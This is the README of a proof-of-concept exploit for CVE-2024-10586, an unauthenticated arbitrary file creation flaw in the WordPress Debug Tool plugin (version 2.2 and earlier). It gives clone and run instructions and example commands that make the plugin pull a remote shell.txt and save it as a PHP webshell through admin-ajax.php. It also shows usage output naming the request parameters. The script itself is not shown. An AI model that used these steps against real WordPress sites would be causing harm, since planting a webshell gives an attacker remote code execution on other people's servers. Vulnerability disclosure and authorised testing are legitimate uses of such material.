CVE-2024-10586 PoC — Debug Tool <= 2.2 - Unauthenticated Arbitrary File Creation

Source

Associated Vulnerability

Readme

# Vulnerability Information

Description
The Debug Tool plugin for WordPress is vulnerable to arbitrary file creation due to a missing capability check on the `dbt_pull_image()` function and missing file type validation in all versions up to, and including, 2.2.  
This makes it possible for unauthenticated attackers to create arbitrary files such as `.php` files that can be leveraged for remote code execution.
## CVE ID
CVE-2024-10586

## Script Usage
### Prerequisites
- Python 3.x installed on your system.
- Install required dependencies:
  pip install requests

## How to Run
  1. Clone the repository from [GitHub](https://github.com/Nxploited/CVE-2024-10586-Poc):
   ```bash
   git clone https://github.com/Nxploited/CVE-2024-10586-Poc
   cd CVE-2024-10586-Poc
```








  

2. Run the script with the following command:
   python CVE-2024-10586.py -u <WordPress URL> -r <Remote File URL> -p <Optional Shell Path>

   ## Parameters
- -u, --url: The base URL of the WordPress site (e.g., http://example.com/wordpress).
- -r, --remote: The URL of the remote file to be used as the payload source.
- -p, --path: Optional. The path where the shell will be saved. Defaults to /opt/lampp/htdocs/wordpress/wp-content/Nxploit.php.
### Example Command
```
python CVE-2024-10586.py -u http://192.168.100.74/wordpress -r http://192.168.100.74/shell.txt -p /opt/lampp/htdocs/wordpress/wp-content/shell.php
```



### Example Usage



```
python CVE-2024-10586.py -u http://192.168.100.74/wordpress -r http://192.168.100.74/shell.txt -p /opt/lampp/htdocs/wordpress/wp-content/shell.php

usage: CVE-2024-10586.py [-h] -u URL -r REMOTE [-p PATH]

Send a POST request to WordPress admin-ajax.php.

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     The base URL of the WordPress site.
  -r REMOTE, --remote REMOTE
                        The remote URL to use in the 'source' parameter.
  -p PATH, --path PATH  The file path to use in the 'missed' parameter. Defaults to '/opt/lampp/htdocs/wordpress/wp-content/Nxploit.php'.
```
### Disclaimer

This script is for educational purposes only. Use it responsibly and only on systems you own or have explicit permission to test. The authors are not responsible for any misuse or damage caused by this tool.

File Snapshot

 [4.0K]  /data/pocs/6f6c397426f7a1f4105c4da30a3e798058967509
├── [4.8K]  CVE-2024-10586.py
└── [2.2K]  README.md

0 directories, 2 files

Remarks